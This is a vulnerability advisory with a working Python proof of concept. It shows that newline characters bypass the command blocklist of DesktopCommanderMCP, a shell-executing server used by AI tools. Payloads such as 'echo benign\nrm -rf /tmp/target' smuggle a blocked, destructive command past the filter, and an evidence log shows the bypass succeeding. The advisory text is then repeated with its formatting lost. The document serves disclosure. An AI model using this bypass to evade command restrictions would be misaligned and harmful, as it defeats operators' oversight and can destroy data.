Advisory Details
Title: Command Injection via Blocklist Bypass using Newline Character
Description:
Summary
The command parsing logic in DesktopCommanderMCP fails to account for newline (\n) characters as command separators. This flaw allows an attacker to bypass the blockedCommands validation by prepending a benign command and a newline character to a blocked command. Consequently, users with access to the MCP server can execute any arbitrarily blocked command on the host system.
Details
The CommandManager.validateCommand() function restricts execution of certain sensitive commands defined in the blockedCommands configuration. It does this by extracting individual commands from the input string using the extractCommands method, which utilizes a hardcoded array of separators ([';', '&&', '||', '|', '&']).
Crucially, the newline character (\n) is absent from this separators array. When an attacker provides a multi-line payload such as "echo benign\nrm -rf /tmp/target", the extractCommands() function processes the entire string as a single command segment.
Subsequently, extractBaseCommand() uses .split(/\s+/) on this segment. Since \s+ targets newlines and spaces, it isolates the first token (echo). The blocklist validation logic then checks only this first benign token echo and approves the execution.
When passed down to terminalManager.executeCommand to spawn a shell (e.g. /bin/bash), the shell properly interprets \n as a command separator, meaning it evaluates the first benign line and subsequently executes the blocklisted command (e.g., rm) without restriction.
PoC
Prerequisites
- The target DesktopCommanderMCP server must be built and running.
- The
blockedCommands feature must be active and configured in ~/.claude-server-commander/config.json. The command rm is blocked by default but can be verified manually.
Reproduction Steps
- Save the following code as
poc_exploit.py:
#!/usr/bin/env python3
import sys, json, subprocess, time, os, shutil
config_dir = os.path.expanduser("~/.claude-server-commander")
config_path = os.path.join(config_dir, "config.json")
mcp_root = "/root/llm-project-ts/DesktopCommanderMCP"
proof_file = "/tmp/newline_bypass_proof"
blocked_cmd = "rm"
def setup():
if os.path.exists(proof_file):
os.remove(proof_file)
with open(proof_file, "w") as f:
f.write("CANARY")
if os.path.exists(config_path):
shutil.copy(config_path, config_path + ".bak")
os.makedirs(config_dir, exist_ok=True)
with open(config_path, "w") as f:
json.dump({"blockedCommands": [blocked_cmd]}, f)
def teardown():
if os.path.exists(config_path + ".bak"):
shutil.move(config_path + ".bak", config_path)
def send_request(proc, req_id, method, params):
req = {"jsonrpc": "2.0", "id": req_id, "method": method, "params": params}
proc.stdin.write((json.dumps(req) + "\n").encode())
proc.stdin.flush()
def read_response(proc, req_id):
start = time.time()
while time.time() - start < 5:
line = proc.stdout.readline()
if not line:
return None
sys.stderr.write("DEBUG: " + line.decode())
try:
resp = json.loads(line.decode().strip())
if "id" in resp and resp["id"] == req_id:
return resp
except:
pass
return None
def run_exploit():
proc = subprocess.Popen(
["node", "dist/index.js", "--no-onboarding"],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
cwd=mcp_root
)
send_request(proc, 1, "initialize", {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "poc", "version": "1.0"}
})
read_response(proc, 1)
proc.stdin.write((json.dumps({"jsonrpc": "2.0", "method": "notifications/initialized"}) + "\n").encode())
proc.stdin.flush()
time.sleep(1)
# Newline bypass: extractCommands sees "echo benign\nrm /tmp/newline_bypass_proof"
# as single command, extractBaseCommand splits on \s+ and only checks "echo"
# Shell executes both: echo + rm
payload = f"echo benign\nrm {proof_file}"
send_request(proc, 2, "tools/call", {
"name": "start_process",
"arguments": {"command": payload, "timeout_ms": 5000}
})
resp = read_response(proc, 2)
proc.stdin.close()
proc.terminate()
return resp
if __name__ == "__main__":
setup()
print(f"[*] Proof file created: {os.path.exists(proof_file)}")
print(f"[*] Blocklist: [{blocked_cmd}]")
print(f"[*] Sending payload with newline to bypass blocklist validation...")
resp = run_exploit()
time.sleep(2)
if not os.path.exists(proof_file):
print(f"[SUCCESS] Proof file DELETED! 'rm' executed despite being blocklisted.")
print(f" The newline bypass (echo benign\\nrm ...) worked.")
else:
print(f"[FAILED] Proof file still exists. Exploit did not work.")
print(f" Response: {resp}")
teardown()
- Run
npm run build in DesktopCommanderMCP if necessary.
- Execute
python3 poc_exploit.py.
Log of Evidence
[*] Proof file created: True
[*] Blocklist: [rm]
[*] Sending payload with newline to bypass blocklist validation...
DEBUG: Content-Length: 172
DEBUG:
DEBUG: {"protocolVersion":"2024-11-05","capabilities":{"logging":{},"prompts":{"listChanged":true},"resources":{"subscribe":true,"listChanged":true},"tools":{"listChanged":true}},"serverInfo":{"name":"DesktopCommander","version":"1.0.0"}}
DEBUG: Content-Length: 147
DEBUG:
DEBUG: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"Started process 571239"}],"isError":false}}
[SUCCESS] Proof file DELETED! 'rm' executed despite being blocklisted.
The newline bypass (echo benign\nrm ...) worked.
Impact
This vulnerability completely bypasses the configured protections enabling attackers to invoke restricted commands.
Affected products
- Ecosystem: npm
- Package name: DesktopCommanderMCP
- Affected versions: <= 0.2.38
- Patched versions:
Severity
- Severity: Critical
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
- CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Occurrences
| Permalink |
Description |
src/command-manager.ts |
The extractCommands logic does not include the \n line separator character, causing it to misunderstand the boundaries of commands that it needs to validate against the blockedCommands list. |
Advisory Details
Title: Command Injection via Blocklist Bypass using Newline Character
Description:
Summary
The command parsing logic in DesktopCommanderMCP fails to account for newline (
\n) characters as command separators. This flaw allows an attacker to bypass theblockedCommandsvalidation by prepending a benign command and a newline character to a blocked command. Consequently, users with access to the MCP server can execute any arbitrarily blocked command on the host system.Details
The
CommandManager.validateCommand()function restricts execution of certain sensitive commands defined in theblockedCommandsconfiguration. It does this by extracting individual commands from the input string using theextractCommandsmethod, which utilizes a hardcoded array of separators ([';', '&&', '||', '|', '&']).Crucially, the newline character (
\n) is absent from this separators array. When an attacker provides a multi-line payload such as"echo benign\nrm -rf /tmp/target", theextractCommands()function processes the entire string as a single command segment.Subsequently,
extractBaseCommand()uses.split(/\s+/)on this segment. Since\s+targets newlines and spaces, it isolates the first token (echo). The blocklist validation logic then checks only this first benign tokenechoand approves the execution.When passed down to
terminalManager.executeCommandto spawn a shell (e.g./bin/bash), the shell properly interprets\nas a command separator, meaning it evaluates the first benign line and subsequently executes the blocklisted command (e.g.,rm) without restriction.PoC
Prerequisites
blockedCommandsfeature must be active and configured in~/.claude-server-commander/config.json. The commandrmis blocked by default but can be verified manually.Reproduction Steps
poc_exploit.py:npm run buildin DesktopCommanderMCP if necessary.python3 poc_exploit.py.Log of Evidence
Impact
This vulnerability completely bypasses the configured protections enabling attackers to invoke restricted commands.
Affected products
Severity
Weaknesses
Occurrences
src/command-manager.tsextractCommandslogic does not include the\nline separator character, causing it to misunderstand the boundaries of commands that it needs to validate against theblockedCommandslist.